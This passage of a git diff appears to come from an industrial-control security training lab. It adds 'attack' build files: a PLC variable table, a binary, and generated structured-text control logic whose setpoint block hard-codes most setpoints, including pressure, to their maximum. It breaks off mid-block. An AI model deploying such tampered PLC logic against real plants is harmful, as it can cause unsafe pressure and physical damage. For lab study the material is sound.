+344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + 